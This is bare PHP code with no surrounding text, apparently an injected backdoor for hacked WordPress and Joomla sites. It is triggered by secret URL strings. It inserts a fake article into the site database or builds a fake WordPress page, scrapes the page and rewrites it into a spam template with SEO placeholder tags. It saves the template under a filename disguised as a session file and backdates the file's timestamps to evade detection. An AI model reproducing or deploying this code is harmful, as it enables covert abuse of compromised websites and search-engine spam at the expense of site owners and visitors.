if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$context = stream_context_create(array(
'http' => array('ignore_errors' => true),
));
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context);
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context);
}
if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) )
{
$tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context);
}
if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) )
{
$tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl);
$tpl = preg_replace('#<link[^>]+?alternate[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?archives[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?bookmark[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?external[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?first[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?help[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?last[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?license[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?next[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?nofollow[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?noreferrer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?pingback[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?prefetch[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?prev[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?search[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?sidebar[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?up[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<link[^>]+?canonical[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?robots[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?charset[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?content-type[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?og:[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?viewport[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?keywords[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?description[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?google[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?yandex[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?bing[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?slurp[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?refresh[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<meta[^>]+?referer[^>]+?>#is', '', $tpl);
$tpl = preg_replace('#<script.+?script>#is', '', $tpl);
$tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl);
$tpl = preg_replace('#<title[^>]*>[^<]*?</title>#is', '<title>[TITLE]</title>', $tpl);
$tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl);
$tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl);
$tpl = preg_replace('#<p>\[CONTENT\]</p>#is', '[CONTENT]', $tpl);
$new_tags = '
<link rel="canonical" href="[PAGE_URL]" />
<link rel="prev" href="[RAND_URL_PREV]" />
<link rel="next" href="[RAND_URL_NEXT]" />
<meta property="og:title" content="[TITLE]" />
<meta property="og:type" content="article" />
<meta property="og:site_name" content="[COMMON]" />
<meta property="og:url" content="[PAGE_URL]" />
<meta property="og:locale" content="en_US" />
<meta name="description" property="og:description" content="[DESCRIPTION]" />
<meta name="keywords" content="[KEYWORDS]" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes" />
<meta http-equiv="content-type" content="text/html; charset=UTF-8" />
';
$tpl = preg_replace('#</head>#is', $new_tags.'</head>', $tpl);
}
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
$tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd";
if (!empty($tpl) && file_put_contents($tpl_path, $tpl))
{
echo 'Success!';
} else
{
echo 'failed';
}
touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365));
touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365));
exit;
}
if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false)
{
error_reporting(0);
ini_set('display_errors', 0);
set_time_limit(0);
$localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath));
if (is_dir($root_path.'/libraries/joomla/application/'))
{
$alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000);
$database = JFactory::getDBO();
$item = new stdClass;
$item->id = null;
$item->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$item->introtext = '';
$item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000);
$item->state = 1;
$item->access = 1;
$item->created_by = 62;
$item->created = '2011-11-11 11:11:11';
$item->publish_up = '2011-11-11 11:11:11';
$item->alias = $alias;
if (!$database->insertObject('#__content', $item, 'id')) {
echo $database->stderr();
}
$url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id;
$data = file_get_contents($url);
$data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data);
$data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11 November 2011#is', '[DATE]', $data);
$data = preg_replace('#11.11.2011#is', '[DATE]', $data);
$data = preg_replace('#2011-11-11#is', '[DATE]', $data);
$data = preg_replace('#2011.11.11#is', '[DATE]', $data);
echo $data;
exit;
}
if (is_dir($root_path.'/wp-admin/includes/'))
{
if (!class_exists('THEVirtualPage'))
{
class THEVirtualPage
{
private $slug = NULL;
private $title = NULL;
private $content = NULL;
private $author = NULL;
private $date = NULL;
private $type = NULL;
public function __construct($args)
{
$this->slug = 'slug';
$this->title = 'thefuckingtitle'.mt_rand(1, 10000000000);
$this->content = 'thefuckingcontent'.mt_rand(1, 10000000000);
$this->author = 1;
$this->date = current_time('mysql');
$this->dategmt = current_time('mysql', 1);
$this->type = 'page';
add_filter('the_posts', array(&$this, '_virtualPage'));
}
public function _virtualPage($posts)
{
global $wp, $wp_query;
$post = new stdClass;
$post->ID = "-1";
$post->post_author = $this->author;
$post->post_date = $this->date;
$post->post_date_gmt = $this->dategmt;
$post->post_content = $this->content;
$post->post_title = $this->title;
$post->post_excerpt = '';
$post->post_status = 'publish';
$post->comment_status = 'closed';
$post->ping_status = 'closed';
$post->post_password = '';
$post->post_name = $this->slug;
$post->to_ping = '';
$post->pinged = '';
$post->modified = $post->post_date;
$post->modified_gmt = $post->post_date_gmt;
$post->post_content_filtered = '';
$post->post_parent = 0;
$post->guid = get_home_url('/' . $this->slug);
$post->menu_order = 0;
$post->post_type = $this->type;
$post->post_mime_type = '';
$post->comment_count = 0;
$posts = array($post);
$wp_query->is_page = TRUE;
$wp_query->is_singular = TRUE;
$wp_query->is_home = FALSE;
$wp_query->is_archive = FALSE;
$wp_query->is_category = FALSE;
unset($wp_query->query['error']);
$wp_query->query_vars['error'] = '';
$wp_query->is_404 = FALSE;
return ($posts);
}
}
}
function _create_virtual()
{
$args = array('slug' => 'slug',
'title' => '',
'content' => ''
);
$pg = new THEVirtualPage($args);
}
function change_wp_44_title( $title )
{
global $data;
$title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000);
$title['page'] = '';
$title['tagline'] = '';
$title['site'] = '';
return $title;
}
function change_wp_40_title( $title )
{
return 'thefuckingtitle'.mt_rand(1, 10000000000);
}
function _change_page_url( )
{
return '[PAGE_URL]';
}
add_filter( 'the_permalink', '_change_page_url');
add_action('init', '_create_virtual');
add_filter( 'document_title_parts', 'change_wp_44_title' );
add_filter( 'wp_title', 'change_wp_40_title' );
}
}